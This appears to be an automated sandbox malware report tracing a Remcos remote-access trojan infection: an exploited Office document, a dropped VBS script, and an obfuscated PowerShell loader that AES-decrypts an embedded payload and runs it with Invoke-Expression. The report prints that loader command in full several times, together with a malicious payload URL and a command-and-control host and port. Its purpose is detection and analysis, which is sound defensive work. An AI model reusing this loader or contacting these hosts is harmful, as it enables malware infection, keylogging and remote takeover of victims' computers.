            Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
            Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
            Sigma detected: Suspicious Microsoft Office Child Process
            Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2700, ParentProcessName: EXCEL.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" , ProcessId: 3472, ProcessName: wscript.exe
            Sigma detected: WScript or CScript Dropper
            Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2700, ParentProcessName: EXCEL.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" , ProcessId: 3472, ProcessName: wscript.exe
            Sigma detected: Excel Network Connections
            Source: Network ConnectionAuthor: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 188.114.97.3, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 2700, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49163
            Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
            Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\lbvlkbmzmwfnyoxgjysjrgc", CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\lbvlkbmzmwfnyoxgjysjrgc", CommandLine|base64offset|contains: ^, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe", ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ParentProcessId: 3680, ParentProcessName: RegAsm.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\lbvlkbmzmwfnyoxgjysjrgc", ProcessId: 3784, ProcessName: RegAsm.exe
            Sigma detected: Suspicious Office Outbound Connections
            Source: Network ConnectionAuthor: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49163, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 2700, Protocol: tcp, SourceIp: 188.114.97.3, SourceIsIpv6: false, SourcePort: 80
            Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
            Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2700, ParentProcessName: EXCEL.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" , ProcessId: 3472, ProcessName: wscript.exe
            Sigma detected: Modification of IE Registry Settings
            Source: Registry Key setAuthor: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 2700, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings
            Sigma detected: Non Interactive PowerShell Process Spawned
            Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
            Sigma detected: Office Macro File Creation
            Source: File createdAuthor: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 3152, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
            Sigma detected: Potential Encoded PowerShell Patterns In CommandLine
            Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
            Sigma detected: PowerShell Script Dropped Via PowerShell.EXE
            Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3520, TargetFilename: C:\Users\user\AppData\Local\Temp\4vetc0f5.uvi.ps1

            Stealing of Sensitive Information

            barindex
            Sigma detected: Remcos
            Source: Registry Key setAuthor: Joe Security: Data: Details: EA C8 31 73 B7 22 BD 86 63 B7 22 9B BF FC 88 10 5E D8 EC 78 D6 45 68 54 2D A5 DA 58 3A 0D 7D C3 1A D3 27 79 15 6F B5 E6 A1 88 28 0F 3F D0 9F E3 86 F7 3E 72 BE 64 ED D4 57 92 72 6C 0E 20 E0 BC 31 C8 0B 36 A7 95 21 CB 02 36 57 63 02 57 C1 38 7F 31 62 8E 11 F0 B7 86 E2 8F 01 5D A1 B7 0E 7A E7 80 57 3B 63 1C 38 55 C2 11 49 C4 69 6E B2 F3 CA B3 , EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ProcessId: 3680, TargetObject: HKEY_CURRENT_USER\Software\Rmc-F4JFYD\exepath

            Snort Signatures

            ⊘No Snort rule has matched

            Suricata Signatures

            Timestamp:2024-07-26T13:19:22.698510+0200
            SID:2803304
            Source Port:49173
            Destination Port:80
            Protocol:TCP
            Classtype:Unknown Traffic
            Timestamp:2024-07-26T13:19:22.673890+0200
            SID:2036594
            Source Port:49172
            Destination Port:18576
            Protocol:TCP
            Classtype:Malware Command and Control Activity Detected
            Timestamp:2024-07-26T13:19:21.272858+0200
            SID:2036594
            Source Port:49171
            Destination Port:18576
            Protocol:TCP
            Classtype:Malware Command and Control Activity Detected
            Timestamp:2024-07-26T13:19:16.653739+0200
            SID:2047750
            Source Port:80
            Destination Port:49169
            Protocol:TCP
            Classtype:A Network Trojan was detected
            Timestamp:2024-07-26T13:19:17.747207+0200
            SID:2049038
            Source Port:80
            Destination Port:49169
            Protocol:TCP
            Classtype:A Network Trojan was detected
            Timestamp:2024-07-26T13:19:18.881777+0200
            SID:2020424
            Source Port:80
            Destination Port:49170
            Protocol:TCP
            Classtype:Exploit Kit Activity Detected

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Antivirus detection for URL or domain
            Source: http://198.46.176.133/Upload/vbs.jpegAvira URL Cloud: Label: malware
            Antivirus detection for dropped file
            Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B138FD5.docAvira: detection malicious, Label: HEUR/Rtf.Malformed
            Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{800AC807-D585-4EB1-AF32-0CED6CF689EF}.tmpAvira: detection malicious, Label: EXP/CVE-2017-11882.Gen
            Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\iamtotalnewpersontogetmebackwithentirenewthingstounderstandhowmuchkissineedtodosoican_________sheisbeautifulgirleverthings[1].docAvira: detection malicious, Label: HEUR/Rtf.Malformed
            Found malware configuration
            Source: 0000000C.00000002.970273090.00000000008B1000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Remcos {"Host:Port:Password": "maveing.duckdns.org:18576:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-F4JFYD", "Keylog flag": "1", "Keylog path": "Temp", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
            Multi AV Scanner detection for submitted file
